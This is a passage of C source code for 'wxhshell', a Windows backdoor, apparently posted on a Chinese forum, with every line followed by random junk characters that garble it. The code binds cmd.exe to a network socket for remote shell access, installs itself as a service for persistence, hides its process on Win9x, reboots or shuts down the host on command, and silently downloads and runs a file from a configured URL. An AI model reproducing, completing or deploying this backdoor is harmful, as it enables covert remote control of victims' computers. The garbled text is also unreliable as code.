  // 帮助 $x#0m  
  case '?': { *J,VvO 9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T!u&r  
    break; EUevR/S  
  } 9;KQ3.Fa}q  
  // 安装 \tH^w@j47  
  case 'i': { bII pJQ1.[  
    if(Install()) Xg E\q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ucr$5^ME  
    else /@-!JF#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IIcG+zwx  
    break; Gv?3T Am8  
    } 'r3yFoP}  
  // 卸载 Y@N-q   
  case 'r': { sw A^oU  
    if(Uninstall()) l0N~mes  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HE#IJB6BS?  
    else 2 ZW {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NN\>( =  
    break; Dz4e.tvN  
    } tGv5pe*r  
  // 显示 wxhshell 所在路径 Tl>D=Vnhh  
  case 'p': { 3BHPD;U  
    char svExeFile[MAX_PATH]; 0<Q['l4Ar  
    strcpy(svExeFile,"\n\r"); }}L :6^  
      strcat(svExeFile,ExeFile); =E?kxf[X  
        send(wsh,svExeFile,strlen(svExeFile),0); ~~,] b  
    break; (U bz@s^  
    } ^ z!g3  
  // 重启 D>neY9  
  case 'b': { SbS*z:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VrDSN  
    if(Boot(REBOOT)) .)J7 \z8m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Qe-y|>  
    else { ;>YLL}]j  
    closesocket(wsh); @$o.Z;83`r  
    ExitThread(0); &/o4R:i  
    } fg"]4&`j-  
    break; W>$2BsO  
    } jFS])",\i  
  // 关机 W6STjtT3P  
  case 'd': { ((OQs.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y~vyCU5nWR  
    if(Boot(SHUTDOWN)) W.u+R?a=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xv|?;Zf6w  
    else { x~3N})T5  
    closesocket(wsh); ;\1/4;m  
    ExitThread(0); hc#Lni R3$  
    } nX 4WlH  
    break; REqQJ7a/  
    } NPc@;g]d"  
  // 获取shell mmSC0F  
  case 's': { oN3DM;  
    CmdShell(wsh); "&!7wH ,A  
    closesocket(wsh); APye  
    ExitThread(0); |7XPu  
    break; 02+ k,xFb  
  } UYOveQ;  
  // 退出  rvP Y  
  case 'x': { Wgp}v93  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \piB*"ln  
    CloseIt(wsh); <K6gzi0fl  
    break; Jkf%k3H3I*  
    } LdAWCBLS  
  // 离开 :@x_& b  
  case 'q': { \mGx-g6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :'hc&wk`  
    closesocket(wsh); 7I\qEr57  
    WSACleanup(); {nQ?+o3  
    exit(1); 2H\ }N^;f  
    break;  8kn> ?  
        } aL?+# j^"  
  } K9z 1'k QH  
  } 6b!F7ky g  
tNk.|}  
  // 提示信息 M{(g"ha  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HRP  
} ^~dBO %M^  
  } UQ[!k 6  
!UPKy$  
  return; irZMgRQAT  
} p"l GR&b  
,#/%Fn%T  
// shell模块句柄 ERka l7+  
int CmdShell(SOCKET sock) LpV2XL$p>#  
{ 10gh4,z[  
STARTUPINFO si; D5Z@6RVt  
ZeroMemory(&si,sizeof(si)); ,1|Qm8O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r^g"%nq9/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9K4]~_%h\  
PROCESS_INFORMATION ProcessInfo; x`3F?[#l  
char cmdline[]="cmd"; ?ZF ~U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {e35O(Y  
  return 0; \}Hi\k+h':  
} >_3P6-L>  
,_wpYTl*X  
// 自身启动模式 H^TU?vz} <  
int StartFromService(void) %2q0lFdcM  
{ 5u5-:#sLy  
typedef struct '}$]V>/  
{ r(qw zUI  
  DWORD ExitStatus; Qq7%{`< }  
  DWORD PebBaseAddress; fpPB_P{Ua  
  DWORD AffinityMask; tZL|;K  
  DWORD BasePriority; s@$SM,tnn  
  ULONG UniqueProcessId; 6x*$/1'M3;  
  ULONG InheritedFromUniqueProcessId; 4lp9 0sa  
}   PROCESS_BASIC_INFORMATION; D*_Z"q_B  
r*F^8_YMK  
PROCNTQSIP NtQueryInformationProcess; +sY8<y@%  
L>3-z>u,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #qnK nxD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O-3R#sZ0  
)i^+=TZq  
  HANDLE             hProcess; Jc=~BT_G  
  PROCESS_BASIC_INFORMATION pbi; eV5 e:9  
>LAhc7I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Dq@(Q s'  
  if(NULL == hInst ) return 0; hJc^NU5  
(ah^</  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {SRv=g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Efa3{ 7>{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7*MjQzg-P  
O$*\JL  
  if (!NtQueryInformationProcess) return 0; yDORL| E'  
?PSJQ3BC|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6Zx'$F.iqK  
  if(!hProcess) return 0; :OKU@l|  
7`P1=`..  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s +Q'\?  
UCBx?9O/0  
  CloseHandle(hProcess); $/)0iL{0  
KvvG H-]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (?vKe5  
if(hProcess==NULL) return 0; hfL8]d-  
Qd"R@+i  
HMODULE hMod; RD_l  
char procName[255]; 8mn zxtk  
unsigned long cbNeeded; 9O{b8=\}  
Z,QSbw@,7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %;ZDw@_<  
gyT3[*eh  
  CloseHandle(hProcess); |h 3`z  
X-']D_f|,  
if(strstr(procName,"services")) return 1; // 以服务启动 p5V.O20  
[+3~wpU(p  
  return 0; // 注册表启动 krSOSW J  
} dXMO{*MF{H  
+01bjM6F_1  
// 主模块 knABlU  
int StartWxhshell(LPSTR lpCmdLine) s$?u'}G3  
{ i}_d&.DbF  
  SOCKET wsl; =vD}O@tN  
BOOL val=TRUE; $.Qu55=z<  
  int port=0; ~E3"s  
  struct sockaddr_in door; a IgV"3  
WW3! ,ln_  
  if(wscfg.ws_autoins) Install(); o%3VE8-  
cHw-;  
port=atoi(lpCmdLine); M1,1J-h  
Aw,#oG {N  
if(port<=0) port=wscfg.ws_port; f eA(Rj  
,0^9VWZV  
  WSADATA data; ,/Yo1@U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]%<0V,G q  
lj+}5ySG/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <,+6:NmT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m'"Ra-  
  door.sin_family = AF_INET; FZ@8&T   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $[HpY)MSRw  
  door.sin_port = htons(port); Q^ |aix~ K  
f' &  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lFc4| _c g  
closesocket(wsl); z\6/?5D#v  
return 1; k}908%w  
} 0$I!\y\  
mF@D O$  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 :FzSD  
closesocket(wsl); uTIl} N  
return 1; tg%C>O  
} nTH!_S>b(Y  
  Wxhshell(wsl); tRzo}_+N  
  WSACleanup(); #e5*Dr8  
nH(H k%~  
return 0; 2\L}Ka|v  
E?^A+)<"  
} nk+*M9r|I  
xyaU!E*  
// 以NT服务方式启动 SO}en[()O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z<~^(W7h  
{ Nbm=;FHB`  
DWORD   status = 0; c[E>2P2-_  
  DWORD   specificError = 0xfffffff; MnT+p[.  
jY8u1z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h| ]BA}D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +{/*P 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SPY4l*kX  
  serviceStatus.dwWin32ExitCode     = 0; f')3~)"  
  serviceStatus.dwServiceSpecificExitCode = 0; iT"H%{+~  
  serviceStatus.dwCheckPoint       = 0; @V5'+^O  
  serviceStatus.dwWaitHint       = 0; '<KzWxuC  
K)n0?Q_>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pgU4>tyD  
  if (hServiceStatusHandle==0) return; 9KLhAYaq  
lL6qK&;  
status = GetLastError(); J"O#w BM9  
  if (status!=NO_ERROR) j,CMcP7A -  
{ Mb[4G>-v=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >6cENe_@t  
    serviceStatus.dwCheckPoint       = 0; ^"\., Y  
    serviceStatus.dwWaitHint       = 0; H=k`7YN  
    serviceStatus.dwWin32ExitCode     = status; MB] Y|Vee  
    serviceStatus.dwServiceSpecificExitCode = specificError;  {r?qI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^_^rI+cTX1  
    return; -"Q[n,"Y  
  } Y'S9   
X>6VucH{\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9,;+B8-A  
  serviceStatus.dwCheckPoint       = 0; `%M} :T  
  serviceStatus.dwWaitHint       = 0; ~*Ir\wE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .`Ts'0vVy  
} h8uDs|O9n  
u:7=Yy :  
// 处理NT服务事件,比如:启动、停止 DUK.-|a7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;q&\>u:  
{ UZUG ?UUM  
switch(fdwControl) .1C|J  
{ 3` aJ"qQE  
case SERVICE_CONTROL_STOP: ,*$/2nB^  
  serviceStatus.dwWin32ExitCode = 0; tXIre-. 2}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Oz1ou[8k  
  serviceStatus.dwCheckPoint   = 0; y:zo/#34  
  serviceStatus.dwWaitHint     = 0; D7Nz3.j  
  { j']Q-s(s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pd{;`EW|  
  } %C8fv|@:f  
  return; k^PqB+P!  
case SERVICE_CONTROL_PAUSE: jn;b{*Lf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y)L\*+ >"[  
  break; 5bzYTK&-  
case SERVICE_CONTROL_CONTINUE: ,As78^E{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !%2aw0Yv  
  break; +6* .lRA  
case SERVICE_CONTROL_INTERROGATE: AH(O"v`  
  break; b!' bu  
}; .iL_3:6f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{00 V#  
} x{|n>3l`b9  
uPpRzp  
// 标准应用程序主函数 dsxaxbVj%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d4P0f'.z  
{ 8c'0"G@S  
%KmB>9  
// 获取操作系统版本 _(\\>'1q!  
OsIsNt=GetOsVer(); |KFWW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \'L6m1UZ%  
D{,B[5  
  // 从命令行安装 "lf_`4  
  if(strpbrk(lpCmdLine,"iI")) Install(); =`X ;fz  
)LYj,do  
  // 下载执行文件 ab 1\nzpd  
if(wscfg.ws_downexe) { &xqe8!FeA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) : |c,.uO  
  WinExec(wscfg.ws_filenam,SW_HIDE); :l>T~&/98  
} ku'%+svD  
XabrX|B#  
if(!OsIsNt) { b+M[DwPw  
// 如果时win9x,隐藏进程并且设置为注册表启动 qpl"j-  
HideProc(); 6zLz<p?  
StartWxhshell(lpCmdLine); CW=-@W7  
} EtH)E)  
else ?mt$c6-  
  if(StartFromService()) Ffm Q$>S  
  // 以服务方式启动 ma }Y\(38  
  StartServiceCtrlDispatcher(DispatchTable); z~oGd,  
else XY| -qd}A  
  // 普通方式启动 NG_O I*|~  
  StartWxhshell(lpCmdLine); 79%${ajSI  
=fHt|}.K  
return 0; )vS## -[_  
}
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只看该作者 1 发表于: 2006-10-10
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